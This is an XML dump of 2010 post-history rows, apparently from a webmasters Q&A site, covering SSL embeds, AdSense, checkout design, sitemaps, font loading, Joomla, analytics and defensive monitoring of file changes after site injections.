  <row Id="13466" PostHistoryTypeId="2" PostId="6712" RevisionGUID="bf8cfed3-f779-4620-b298-5a61698cf7fa" CreationDate="2010-12-14T16:39:08.667" UserId="3307" Text="YouTube *does* have an SSL. Try going to https://www.youtube.com&#xD;&#xA;&#xD;&#xA;Just get the embed code and then change all &#xD;&#xA;&#xD;&#xA;&gt; http://&#xD;&#xA;&#xD;&#xA;to &#xD;&#xA;&#xD;&#xA;&gt; https://&#xD;&#xA;&#xD;&#xA;Basically, they have an SSL certificate set up. However (and it's worth checking this by clicking on the padlock with the line through it in Chrome) but it's saying that it's got SSL, but there are elements on the page that aren't encrypted." />
  <row Id="13467" PostHistoryTypeId="2" PostId="6713" RevisionGUID="d7219593-5a03-40b9-b14c-ef267498faaf" CreationDate="2010-12-14T16:43:25.857" UserId="3307" Text="They usually don't allow adsense for what they deem to be &quot;personal content&quot;. I've tried it before on a personal blog. Also (as you found out) they only allow ads once the site has a fair bit of content on it.&#xD;&#xA;&#xD;&#xA;I can't find a link to it, but I suspect that's the reason." />
  <row Id="13468" PostHistoryTypeId="2" PostId="6714" RevisionGUID="910b7244-135b-4ee8-a430-107553725dff" CreationDate="2010-12-14T16:45:07.447" UserId="3307" Text="You can, but you're going to need a bit of knowledge of administrating servers. If you don't have this, I would look at some sort of shared hosting or something like Media Temple's &quot;[Grid Service][1]&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mediatemple.net/webhosting/gs/" />
  <row Id="13469" PostHistoryTypeId="2" PostId="6715" RevisionGUID="114a5179-cf26-41db-a1c1-b2277bb1ae51" CreationDate="2010-12-14T17:03:19.327" UserId="1022" Text="If you took precautions to never visit the non-SSL areas of a site while logged in, and if there was a logout process that properly deleted the authenticating session cookie, then it should be fine. Of course, the more admin-level users you have, the greater the chance that this will never happen.&#xD;&#xA;&#xD;&#xA;A more ideal way to do this, for the Wordpress example: move (not copy) /wp-admin to a different domain under HTTPS. That way, you won't have to worry about logging out to make sure your new post got published okay, because cookies are per domain. A cookie for admin.mysite.tld won't be in the request headers for www.mysite.tld, so there's nothing unencrypted to be sniffed and hijacked.&#xD;&#xA;&#xD;&#xA;(Granted, if it's a single-author/admin Wordpress site, just tunneling through a [VPN][1] when accessing it over a wi-fi hotspot would have the same effect, without the mess of tweaking WP to work across two domains.)&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Virtual_private_network" />
  <row Id="13470" PostHistoryTypeId="2" PostId="6716" RevisionGUID="a9f39ed3-8b09-4b49-8061-1216f1990a7b" CreationDate="2010-12-14T17:16:01.327" UserId="3886" Text="By nature HTTP is stateless, which means that you'll be prompted to input the username and password every time you try to get something. However what happens is that your browser sends the username and password every request, so you don't have to fill them in every time. What happens here is that the browser doesn't re-send the information. Technically you're looking at a browser issue.&#xD;&#xA;&#xD;&#xA;It might be necessary to use something different than htaccess/htpasswd. Embed the video in a page that uses a different way of authentication?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13471" PostHistoryTypeId="2" PostId="6717" RevisionGUID="22c61b6c-f358-4d6a-b89e-d57cee2fe69c" CreationDate="2010-12-14T17:18:57.867" UserId="3307" Text="I'm note sure if I've understood you here, but I think what you're asking is something that should probably use something like Nginx instead of PHP... Take a look here http://library.linode.com/web-servers/nginx/configuration/front-end-proxy-and-software-load-balancing" />
  <row Id="13472" PostHistoryTypeId="2" PostId="6718" RevisionGUID="59bd8648-c023-4cd7-bc42-75a913b81bcd" CreationDate="2010-12-14T17:20:06.097" UserId="3453" Text="I use Glype Proxy because it's nice and simple.&#xD;&#xA;&#xD;&#xA;You could then protect it with .htaccess to be private, just for you." />
  <row Id="13473" PostHistoryTypeId="2" PostId="6719" RevisionGUID="10221479-44e0-4fca-80b3-68f2d266acbe" CreationDate="2010-12-14T17:25:11.187" UserId="3307" Text="It might be that your browser has cached it. That's happened to me a few times." />
  <row Id="13474" PostHistoryTypeId="2" PostId="6720" RevisionGUID="82c5c7c8-c8ae-49f0-aa04-a0be40ff37ed" CreationDate="2010-12-14T17:32:11.107" UserId="3307" Text="You can also (and I've always found this slightly easier) upload a text or comma delimited file, either through the Google Base website or via FTP (useful for automation)&#xD;&#xA;&#xD;&#xA;Take a look here: http://base.google.com/support/bin/answer.py?answer=59537&amp;hl=en" />
  <row Id="13475" PostHistoryTypeId="5" PostId="6394" RevisionGUID="f572da88-d727-4e24-b64a-c93cec75a1a9" CreationDate="2010-12-14T19:10:49.590" UserId="3700" Comment="added 2 characters in body" Text="I have multiple OPEN-ID accounts registered with same gmail address, now i forget one of my Open ID account's password and when i tried to recover my password then the mail sent by 'The MyOpen ID Team' having one open-id account password change link whereas i need another open-id password that is also registered with same gmail account so what i have to do?? although i m able to login through gmail, but i want to login through openid.&#xD;&#xA;&#xD;&#xA;i have mailed to open id many times already? but no answer??&#xD;&#xA;&#xD;&#xA;how do i collect all open ID password reset link referencing same email address??&#xD;&#xA;" />
  <row Id="13477" PostHistoryTypeId="2" PostId="6722" RevisionGUID="17aa0406-6d0e-42f1-9f37-671c802a23a8" CreationDate="2010-12-14T16:18:02.770" UserDisplayName="Tal Pergricht" Text="for multiple cms sites?&#xD;&#xA;to drupal or even joomla?&#xD;&#xA;&#xD;&#xA;im afraid wordpress just isnt enough when its not a blog." />
  <row Id="13478" PostHistoryTypeId="1" PostId="6722" RevisionGUID="17aa0406-6d0e-42f1-9f37-671c802a23a8" CreationDate="2010-12-14T16:18:02.770" UserDisplayName="Tal Pergricht" Text="is there any alternative to aegir?" />
  <row Id="13479" PostHistoryTypeId="3" PostId="6722" RevisionGUID="17aa0406-6d0e-42f1-9f37-671c802a23a8" CreationDate="2010-12-14T16:18:02.770" UserDisplayName="Tal Pergricht" Text="&lt;drupal&gt;&lt;cms&gt;&lt;joomla&gt;" />
  <row Id="13480" PostHistoryTypeId="17" PostId="6722" RevisionGUID="9e391a8f-52b7-45d8-aa33-9b33d5e06e53" CreationDate="2010-12-14T20:31:35.780" UserId="-1" Comment="from http://stackoverflow.com/questions/4441352/is-there-any-alternative-to-aegir" Text="" />
  <row Id="13482" PostHistoryTypeId="2" PostId="6723" RevisionGUID="b020f015-588c-4f03-9411-e7d3ec329042" CreationDate="2010-12-14T21:42:20.863" UserId="3890" Text="Adding **#tableB td { float: left; }** will give you the desired effect in current browsers (IE8+, Chrome, Firefox etc). However this does not work in IE7.&#xD;&#xA;&#xD;&#xA;You can see an approach offered for dealing with floating td's in conjunction with IE7: [http://stackoverflow.com/questions/1018125/ie7-how-to-make-td-float][1].&#xD;&#xA;&#xD;&#xA;Note that the above suggested workaround uses invalid markup to achieve what I believe you're looking to do.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1018125/ie7-how-to-make-td-float" />
  <row Id="13483" PostHistoryTypeId="2" PostId="6724" RevisionGUID="b324d187-45ac-4f91-9941-21f74f4f192c" CreationDate="2010-12-14T22:04:52.473" UserDisplayName="Laura" Text="Where can I find a software that I can embed on my website that integrates calls, video calls, text chat, speech recognition, text to speech and translator? Basically something that unites software such as Dragon Naturally Speaking, naturalreaders.com, http://text-to-speech.imtranslator.net/, and Skype or Googletalk, but in a nice unified solution." />
  <row Id="13484" PostHistoryTypeId="1" PostId="6724" RevisionGUID="b324d187-45ac-4f91-9941-21f74f4f192c" CreationDate="2010-12-14T22:04:52.473" UserDisplayName="Laura" Text="Online chat, talk, translation and speech recognition together?" />
  <row Id="13485" PostHistoryTypeId="3" PostId="6724" RevisionGUID="b324d187-45ac-4f91-9941-21f74f4f192c" CreationDate="2010-12-14T22:04:52.473" UserDisplayName="Laura" Text="&lt;chat&gt;" />
  <row Id="13486" PostHistoryTypeId="2" PostId="6725" RevisionGUID="15000cf4-cfdd-436c-a941-0e54499650d3" CreationDate="2010-12-15T00:05:56.423" UserId="9329" Text="What's better for a checkout process?&#xD;&#xA;&#xD;&#xA;- One relatively long checkout page?&#xD;&#xA;- Multiple short pages/steps ?" />
  <row Id="13487" PostHistoryTypeId="1" PostId="6725" RevisionGUID="15000cf4-cfdd-436c-a941-0e54499650d3" CreationDate="2010-12-15T00:05:56.423" UserId="9329" Text="Checkout Process: 1 page or 3 pages?" />
  <row Id="13488" PostHistoryTypeId="3" PostId="6725" RevisionGUID="15000cf4-cfdd-436c-a941-0e54499650d3" CreationDate="2010-12-15T00:05:56.423" UserId="9329" Text="&lt;users&gt;&lt;user-friendly&gt;&lt;checkout&gt;" />
  <row Id="13489" PostHistoryTypeId="2" PostId="6726" RevisionGUID="32a961e4-528c-4085-80e9-d0e105a983a5" CreationDate="2010-12-15T00:42:35.143" UserId="3893" Text="There is a .co.uk name that I want (I've had the .com version for nearly 7 years now).&#xD;&#xA;&#xD;&#xA;I would even be prepared to pay a small amount for it, but on http://whois.domaintools.com/ only a business name is shown (DOTCOMBIZ-AU) and an Australian address. There is no email address or telephone number.&#xD;&#xA;&#xD;&#xA;It is also interesting to note that &quot;Registrant type: Non-UK Individual&quot;. I was under the impression that for a .co.uk you had to be UK based (which I and my business - if you could call it that - are).&#xD;&#xA;&#xD;&#xA;Also note that nothing is hosted on the domain, browsers simply return a page not found.&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;Is there anything I can do to try and obtain this domain? Or is there at least any way to contact the owner?&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;Thank you for your help.&#xD;&#xA;&#xD;&#xA;Jonathan" />
  <row Id="13490" PostHistoryTypeId="1" PostId="6726" RevisionGUID="32a961e4-528c-4085-80e9-d0e105a983a5" CreationDate="2010-12-15T00:42:35.143" UserId="3893" Text="Getting a .co.uk domain that is already registered" />
  <row Id="13491" PostHistoryTypeId="3" PostId="6726" RevisionGUID="32a961e4-528c-4085-80e9-d0e105a983a5" CreationDate="2010-12-15T00:42:35.143" UserId="3893" Text="&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="13492" PostHistoryTypeId="2" PostId="6727" RevisionGUID="a73cedcf-936c-4c61-a7f7-7674501e242d" CreationDate="2010-12-15T01:05:17.847" UserId="3860" Text="I am after any mp3 player extension for Joomla 1.0.x&#xD;&#xA;&#xD;&#xA;I am not a Joomla guy so it would be great if there is also any nice piece of documentation how to make it work.&#xD;&#xA;&#xD;&#xA;My friend's site is in Joomla 1.0.x and I cannot update to the latest Joomla version.&#xD;&#xA;&#xD;&#xA;Tried to google it but it's hard to find anything for 1.0 these days...&#xD;&#xA;" />
  <row Id="13493" PostHistoryTypeId="1" PostId="6727" RevisionGUID="a73cedcf-936c-4c61-a7f7-7674501e242d" CreationDate="2010-12-15T01:05:17.847" UserId="3860" Text="mp3 player extention for Joomla 1.0.x?" />
  <row Id="13494" PostHistoryTypeId="3" PostId="6727" RevisionGUID="a73cedcf-936c-4c61-a7f7-7674501e242d" CreationDate="2010-12-15T01:05:17.847" UserId="3860" Text="&lt;joomla&gt;" />
  <row Id="13495" PostHistoryTypeId="4" PostId="6727" RevisionGUID="3d27e373-2343-4cac-a1c5-2e13798a0e0e" CreationDate="2010-12-15T01:23:54.943" UserId="3860" Comment="typo fix" Text="mp3 player extension for Joomla 1.0.x" />
  <row Id="13496" PostHistoryTypeId="2" PostId="6728" RevisionGUID="3dad7ec8-0150-4d8e-965f-af470c5d66ae" CreationDate="2010-12-15T01:48:26.793" UserDisplayName="Joel Salisbury" Text="I have always been a fan of multiple, short steps, but make sure the state for each step is saved should the user need to go back and change some of their responses." />
  <row Id="13497" PostHistoryTypeId="2" PostId="6729" RevisionGUID="f455b2a1-2a01-4596-9882-95e1e1c09791" CreationDate="2010-12-15T01:50:52.003" UserId="138" Text="Multiple pages. I've been burned before by single-page checkouts where I wasn't given the oppertunity to verify my details before submitting the payment.&#xD;&#xA;&#xD;&#xA;*Always* give the user the oppertunity to confirm and change their shipping address in a seperate step, as this is what people are used to and expect.&#xD;&#xA;&#xD;&#xA;Also, the user doesn't have to re-enter 27 fields if they accidentally refresh their page (you should always allow the user to refresh their page without re-submitting the payment as well)." />
  <row Id="13498" PostHistoryTypeId="2" PostId="6730" RevisionGUID="fa4a0e08-cb0a-46ea-a23d-d4e9554315c8" CreationDate="2010-12-15T02:45:19.687" UserId="3225" Text="I have some troubles with injections on my shared hosting account where I run a lot of sites with a lot of different technologies: wordpress, drupal, joomla, osticket etc...&#xD;&#xA;&#xD;&#xA;I installed wordpress file monitor for wordpress and that seems to report nicely if something is injected though it misses sometimes changes to themes.&#xD;&#xA;&#xD;&#xA;I wonder if someone knows of a preferably perl script that I could cron to report me changed and added files each day so that I can walk through them each day and see if something weird is happening with them. It would be even cooler if this script would check for base 64 injections and then place a checkmark before it.&#xD;&#xA;&#xD;&#xA;I prefer something not that I have to place in the web directories since these seem to be the most vulnerable." />
  <row Id="13499" PostHistoryTypeId="1" PostId="6730" RevisionGUID="fa4a0e08-cb0a-46ea-a23d-d4e9554315c8" CreationDate="2010-12-15T02:45:19.687" UserId="3225" Text="Web Directories Monitor Script" />
  <row Id="13500" PostHistoryTypeId="3" PostId="6730" RevisionGUID="fa4a0e08-cb0a-46ea-a23d-d4e9554315c8" CreationDate="2010-12-15T02:45:19.687" UserId="3225" Text="&lt;security&gt;" />
  <row Id="13501" PostHistoryTypeId="2" PostId="6731" RevisionGUID="cbd76bae-38a5-41e8-a431-838b08300383" CreationDate="2010-12-15T02:54:03.327" UserId="2332" Text="Is there any way to find out the list of Perl modules provided by GoDaddy hosting without actually getting a hosting account?" />
  <row Id="13502" PostHistoryTypeId="1" PostId="6731" RevisionGUID="cbd76bae-38a5-41e8-a431-838b08300383" CreationDate="2010-12-15T02:54:03.327" UserId="2332" Text="GoDaddy Perl modules" />
  <row Id="13503" PostHistoryTypeId="3" PostId="6731" RevisionGUID="cbd76bae-38a5-41e8-a431-838b08300383" CreationDate="2010-12-15T02:54:03.327" UserId="2332" Text="&lt;godaddy&gt;" />
  <row Id="13504" PostHistoryTypeId="2" PostId="6732" RevisionGUID="4ae81ba7-2f67-40a0-9c0d-2973fc4fd8c1" CreationDate="2010-12-15T02:55:08.140" UserId="1064" Text="[Tripwire][1] is a configurable open source tool which monitors for changes to files, though you would need to learn to configure it, unless you don't mind receiving lots of alerts.&#xD;&#xA;&#xD;&#xA;In this case, however, it would make a lot more sense to fix the problem at its source: update the software you are running and consider setting [allow_url_include][2] to &quot;false&quot; in your PHP configuration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/tripwire/&#xD;&#xA;  [2]: http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include" />
  <row Id="13505" PostHistoryTypeId="5" PostId="6732" RevisionGUID="a961d134-6eae-4544-bc81-0ff01f137f66" CreationDate="2010-12-15T03:00:13.097" UserId="1064" Comment="Clarified use of tripwire" Text="[Tripwire][1] is a configurable open source tool which monitors for changes to files, though you would need to learn to configure it and manage approved file system changes (unless you don't mind receiving lots of alerts).&#xD;&#xA;&#xD;&#xA;In this case, however, it would make a lot more sense to fix the problem at its source: update the software you are running and consider setting [allow_url_include][2] to &quot;false&quot; in your PHP configuration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/tripwire/&#xD;&#xA;  [2]: http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include" />
  <row Id="13506" PostHistoryTypeId="2" PostId="6733" RevisionGUID="55bead2f-8179-40e6-8418-de094dd0d64e" CreationDate="2010-12-15T03:12:45.753" UserId="3514" Text="Contact the DOTCOMBIZ-AU guys (look them up, and attempt to get to them), than make your offer?" />
  <row Id="13507" PostHistoryTypeId="2" PostId="6734" RevisionGUID="91264bdf-5805-404e-9cfe-b89b6c84ea12" CreationDate="2010-12-15T03:37:47.930" UserId="2026" Text="I had written an article over [Highly searched keywords][1] some days ago. When i search it in google using `top searched keywords article-stack`, it returns many results from my site. But none of them was really pointing to actual article.&#xD;&#xA;&#xD;&#xA;Is there anything wrong with sitemap.xml of my site or with google search?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://article-stack.com/education/web-design-n-development/blog-blogger-blogging/highly-searched-keywords-in-year-2010.amty" />
  <row Id="13508" PostHistoryTypeId="1" PostId="6734" RevisionGUID="91264bdf-5805-404e-9cfe-b89b6c84ea12" CreationDate="2010-12-15T03:37:47.930" UserId="2026" Text="is there anything wrong with my sitemap.xml" />
  <row Id="13509" PostHistoryTypeId="3" PostId="6734" RevisionGUID="91264bdf-5805-404e-9cfe-b89b6c84ea12" CreationDate="2010-12-15T03:37:47.930" UserId="2026" Text="&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="13510" PostHistoryTypeId="5" PostId="6734" RevisionGUID="31c14199-d170-4b9a-9bb0-44b07ccda686" CreationDate="2010-12-15T03:43:14.417" UserId="1253" Comment="Removed unnecessary link" Text="I had written an article over Highly searched keywords some days ago. When i search it in google using `top searched keywords article-stack`, it returns many results from my site. But none of them was really pointing to actual article.&#xD;&#xA;&#xD;&#xA;Is there anything wrong with sitemap.xml of my site or with google search?&#xD;&#xA;" />
  <row Id="13511" PostHistoryTypeId="2" PostId="6735" RevisionGUID="e6f47965-27f3-4095-8065-d29928ade779" CreationDate="2010-12-15T03:50:12.807" UserId="3590" Text="Curerntly, when you use a beautiful font, like for example the multiligual `Calibri` fotn (a win7 font), then it even downloads eventhough a user has the font already installed, when i use the following css:&#xD;&#xA;&#xD;&#xA;    @charset &quot;utf-8&quot;;  &#xD;&#xA;    @font-face {&#xD;&#xA;        font-family: Calibri;&#xD;&#xA;        src: url('http://blabla.com/calibri.eot')&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;**However:** this font is 400 kb gzipped, and i would like it to *ONLY* download, if the font is NOT present or installed by that name / family name, right? &#xD;&#xA;&#xD;&#xA;**Question:** Is this possible to setup a neat conditional rule for this, for modern browsers (say IE8+, Firefox 3+ etc). How to implement it? Thanks for any and all clues!" />
  <row Id="13512" PostHistoryTypeId="1" PostId="6735" RevisionGUID="e6f47965-27f3-4095-8065-d29928ade779" CreationDate="2010-12-15T03:50:12.807" UserId="3590" Text="How to Conditionally Load @Font-Faces via CSS3 ?" />
  <row Id="13513" PostHistoryTypeId="3" PostId="6735" RevisionGUID="e6f47965-27f3-4095-8065-d29928ade779" CreationDate="2010-12-15T03:50:12.807" UserId="3590" Text="&lt;html&gt;&lt;css&gt;&lt;fonts&gt;&lt;css3&gt;&lt;embed&gt;" />
  <row Id="13514" PostHistoryTypeId="2" PostId="6736" RevisionGUID="6c28d01a-2d96-4019-b3af-a728a846743a" CreationDate="2010-12-15T06:59:33.933" UserId="3175" Text="I am trying to submit sitemap.xml (index) to Yahoo Site Explorer but with no luck.&#xD;&#xA;I tried using **website feed** option in the site explorer to submit the sitemap, but I got validation errors. However, when submitting the same sitemap to google webmaster tools, the sitemap was validated successfully. Could it be for the fact that I am using sitemap with image tag:&#xD;&#xA;&#xD;&#xA;    &lt;image:image&gt; &#xD;&#xA;       &lt;image:loc&gt;http://www.domain.com/pic.jpg&lt;/image:loc&gt; &#xD;&#xA;       &lt;image:title&gt;picture&lt;/image:title&gt; &#xD;&#xA;    &lt;/image:image&gt;  &#xD;&#xA;&#xD;&#xA;When I tried validating the sitemap with inline tools such as http://www.xml-sitemaps.com/validate-xml-sitemap.html and http://www.w3.org/2001/03/webdata/xsv the error I received was:&#xD;&#xA;&#xD;&#xA;&gt; Attempt to load a schema document from&#xD;&#xA;&gt; http://www.google.com/schemas/sitemap-image/1.1&#xD;&#xA;&gt; (source: new namespace) for&#xD;&#xA;&gt; http://www.google.com/schemas/sitemap-image/1.1,&#xD;&#xA;&gt; failed: Not recognised as W3C XML&#xD;&#xA;&gt; Schema or RDDL: html&#xD;&#xA;&#xD;&#xA;However, the declaration of the sitemap I use in the top of the document is the same as suggested by Google on their official page at http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=178636 :&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;     &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&#xD;&#xA;      xmlns:image=&quot;http://www.google.com/schemas/sitemap-image/1.1&quot;&gt;&#xD;&#xA;     &lt;url&gt;&#xD;&#xA;&#xD;&#xA;Any ideas how to resolve this issue?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Joel&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Joel" />
  <row Id="13515" PostHistoryTypeId="1" PostId="6736" RevisionGUID="6c28d01a-2d96-4019-b3af-a728a846743a" CreationDate="2010-12-15T06:59:33.933" UserId="3175" Text="Yahoo sitemap validation" />
  <row Id="13516" PostHistoryTypeId="3" PostId="6736" RevisionGUID="6c28d01a-2d96-4019-b3af-a728a846743a" CreationDate="2010-12-15T06:59:33.933" UserId="3175" Text="&lt;sitemap&gt;&lt;validation&gt;&lt;yahoo&gt;" />
  <row Id="13517" PostHistoryTypeId="2" PostId="6737" RevisionGUID="325a4637-afc6-48b0-8a01-703a492f7ef2" CreationDate="2010-12-15T07:37:54.653" UserId="1953" Text="In addition to supporting the sitemaps protocol at sitemaps.org Yahoo also accepts a text file with a list of URLs, if you are just trying to get information out of Site Explorer then the URL list should be the easiest for you. If you are using it as a way to get indexed faster, you should look at Bing's webmaster tool as Yahoo is now powered by Bing's index.&#xD;&#xA;&#xD;&#xA;On a side note GSiteCrawler can crawl your website and generate a proper URL list to be submitted to YSE. " />
  <row Id="13521" PostHistoryTypeId="2" PostId="6739" RevisionGUID="78b75bca-e6a4-4ad6-9920-5f841e9e68c7" CreationDate="2010-12-15T08:33:42.023" UserId="3899" Text="Single 'form' page + verify page. (something like [Magento][1] has) It's easier to implement and when properly organized more user friendly.&#xD;&#xA;&#xD;&#xA;Use Javascript to hide/show sections like customers details, shipping adress, etc. This way you can have more steps on single page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://demo.magentocommerce.com/" />
  <row Id="13522" PostHistoryTypeId="2" PostId="6740" RevisionGUID="bfdc8027-669d-4b10-a722-6a68c649aeca" CreationDate="2010-12-15T08:36:25.703" UserId="1089" Text="Its possible there is something wrong with your sitemap - JohnC outlines how to check this, its theoretically possible that there is something wrong with google search, but highly unlikely.&#xD;&#xA;&#xD;&#xA;If by &quot;some days&quot; ago you mean you published your article fairly recently, say, 1-2 weeks ago then its most likely that google hasn't indexed the article yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13523" PostHistoryTypeId="2" PostId="6741" RevisionGUID="5bda99d8-0dfd-4541-8c15-17284d56f888" CreationDate="2010-12-15T08:54:01.310" UserDisplayName="bccarlso" Text="While I'm not an expert at SEO, I know a little, and I have had someone tell me two things that I believe to be false, but just cannot convince him. Here are the statements he makes:&#xD;&#xA;&#xD;&#xA;1) If more people visit your site, you'll get better SEO rankings. The context here is sending out an email campaign and people clicking from the email campaign through to the site.&#xD;&#xA;&#xD;&#xA;I don't think this has any factor in SEO rankings. I _do_ think that if people search for keywords where your site comes up, and click your site more often than those above you in the rankings, that you may progress, but I'm not even 100% sure on that. Am I right though that people clicking through an email to your site won't affect your SEO rankings?&#xD;&#xA;&#xD;&#xA;2) Alexa rank is a measure of SEO importance / rankings.&#xD;&#xA;&#xD;&#xA;From what I know, Alexa rank is based purely off of people visiting your site who have the Alexa toolbar (or other software?) installed. This means that not only is it not counting all your visitors, but it's probably counting a specific segment, most likely more web savvy folks who have the Alexa toolbar installed. I consider myself OK at computers/web development, etc., and I've never had the Alexa toolbar installed. Anyway, is #2 a myth as well?&#xD;&#xA;&#xD;&#xA;Is there any evidence to support these two?" />
  <row Id="13524" PostHistoryTypeId="1" PostId="6741" RevisionGUID="5bda99d8-0dfd-4541-8c15-17284d56f888" CreationDate="2010-12-15T08:54:01.310" UserDisplayName="bccarlso" Text="Bust some SEO myths for me?" />
  <row Id="13525" PostHistoryTypeId="3" PostId="6741" RevisionGUID="5bda99d8-0dfd-4541-8c15-17284d56f888" CreationDate="2010-12-15T08:54:01.310" UserDisplayName="bccarlso" Text="&lt;seo&gt;" />
  <row Id="13526" PostHistoryTypeId="17" PostId="6741" RevisionGUID="781d842d-94bb-480c-b349-88b457c8ea91" CreationDate="2010-12-15T09:20:35.167" UserId="-1" Comment="from http://stackoverflow.com/questions/4448199/bust-some-seo-myths-for-me" Text="" />
  <row Id="13527" PostHistoryTypeId="2" PostId="6742" RevisionGUID="e0576d0a-9fda-4888-a6ba-e98ae4cf82e3" CreationDate="2010-12-15T10:09:09.243" UserId="3878" Text="You can do it like this:&#xD;&#xA;&#xD;&#xA;    @font-face {&#xD;&#xA;        font-family: Calibri;&#xD;&#xA;        src:&#xD;&#xA;             local('Calibri'),&#xD;&#xA;             url('http://blabla.com/calibri.eot');&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;[Source and more detailed explanation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.broken-links.com/2009/06/30/checking-for-installed-fonts-with-font-face-and-local/" />
  <row Id="13528" PostHistoryTypeId="2" PostId="6743" RevisionGUID="7f910536-f620-456e-88e0-e14d46bef232" CreationDate="2010-12-15T10:21:34.050" UserId="2408" Text="I'm currently in css form hell on my website. I'd like to skin the **submit button** and the **cancel link** so they look the same. &#xD;&#xA;&#xD;&#xA;I tried to use two buttons to make it easier but since their behavior is very different, it makes sense to use two different tags, and i get some nice &quot;no surprises&quot; side-effects.&#xD;&#xA;&#xD;&#xA;So far, though, it has been a process fraught with disappointment and bitter failure; i tried to get both tags to play nicely one next to the other but all my css attempts are a waste of time. Either the link jumps up by a few pixels, or the submit button has its content slightly but noticeably lower, etc, etc...&#xD;&#xA;&#xD;&#xA;Is there a way to skin both tags with the same appearance?" />
  <row Id="13529" PostHistoryTypeId="1" PostId="6743" RevisionGUID="7f910536-f620-456e-88e0-e14d46bef232" CreationDate="2010-12-15T10:21:34.050" UserId="2408" Text="How can i style a link and a submit button the same way" />
  <row Id="13530" PostHistoryTypeId="3" PostId="6743" RevisionGUID="7f910536-f620-456e-88e0-e14d46bef232" CreationDate="2010-12-15T10:21:34.050" UserId="2408" Text="&lt;css&gt;" />
  <row Id="13531" PostHistoryTypeId="2" PostId="6744" RevisionGUID="b8691c6b-7c88-41be-a5b7-4ab5b3f628b6" CreationDate="2010-12-15T10:29:34.497" UserId="198" Text="I would style the button following something like [this tutorial][1] (no JavaScript, no links instead of buttons, works in IE6 through IE8), and then style the link accordingly (which is usually pretty straightforward as opposed to styling buttons).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.filamentgroup.com/lab/update_styling_the_button_element_with_css_sliding_doors_now_with_image_spr/ &quot;Styling the Button Element with CSS Sliding Doors - now with Image Sprites and IE 8 Support&quot;" />
  <row Id="13535" PostHistoryTypeId="2" PostId="6746" RevisionGUID="a385fb1b-c104-471c-9887-638ce79a3f5d" CreationDate="2010-12-15T10:43:54.490" UserId="3489" Text="Does Google Analytics allow me to configure and evaluate statistics like CTR etc. for commercials from networks other than Google Adsense?" />
  <row Id="13536" PostHistoryTypeId="1" PostId="6746" RevisionGUID="a385fb1b-c104-471c-9887-638ce79a3f5d" CreationDate="2010-12-15T10:43:54.490" UserId="3489" Text="Can I use Google Analytics with commercials from other networks?" />
  <row Id="13537" PostHistoryTypeId="3" PostId="6746" RevisionGUID="a385fb1b-c104-471c-9887-638ce79a3f5d" CreationDate="2010-12-15T10:43:54.490" UserId="3489" Text="&lt;google-analytics&gt;&lt;affiliate&gt;" />
  <row Id="13538" PostHistoryTypeId="2" PostId="6747" RevisionGUID="b0e5ed83-82bc-4f3c-9fb5-5841c72e8be1" CreationDate="2010-12-15T11:19:58.803" UserId="2616" Text="You will probably need to create a landing or redirect page that includes the analytics code and then checkout the &quot;goals&quot; section under the profile of the site you wish to track." />
  <row Id="13543" PostHistoryTypeId="2" PostId="6749" RevisionGUID="7dded709-4f35-476a-b96e-e3b9ea8615d0" CreationDate="2010-12-15T11:48:37.120" UserId="3307" Text="I don't use Joomla so I just resorted to Google: http://extensions.joomla.org/extensions/multimedia/multimedia-display/4596" />
  <row Id="13544" PostHistoryTypeId="2" PostId="6750" RevisionGUID="1415dc4b-8bec-4887-8445-e171fc473d1e" CreationDate="2010-12-15T11:50:16.323" UserId="3307" Text="I know you mention Wordpress not being enough, but have you tried Wordpress mu?" />
  <row Id="13545" PostHistoryTypeId="2" PostId="6751" RevisionGUID="6a728f9d-5861-4318-92b2-0c7bbd874e9d" CreationDate="2010-12-15T11:51:37.323" UserId="3489" Text="I'm planning to run a small website using Apache (and other) server(s). The website supports configuring different banners for different pages dynamically. The banners are not from Google but &quot;manually chosen&quot;. I don't expect too much traffic but still some, say 1.000 page views a day.&#xD;&#xA;&#xD;&#xA;I'd like to have statistics for the different banners (which one was klicked how often per page view etc.) and general stastics about users and sessions.&#xD;&#xA;&#xD;&#xA;So far I only know about Google Analytics and AWStats. I already asked [another question if Google Analytics supports statistics for other ad networks][1] and obviously it does but only when using some workarounds.&#xD;&#xA;&#xD;&#xA;Which analytics software (inlcuding but not limited to Google Analytics and AWStats) would you recommend for my purpose? Ideally, it should be free and easy to use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/6746/can-i-use-google-analytics-with-commercials-from-other-networks" />
  <row Id="13546" PostHistoryTypeId="1" PostId="6751" RevisionGUID="6a728f9d-5861-4318-92b2-0c7bbd874e9d" CreationDate="2010-12-15T11:51:37.323" UserId="3489" Text="What analytics software to use for small Apache served website with banners not from Google" />
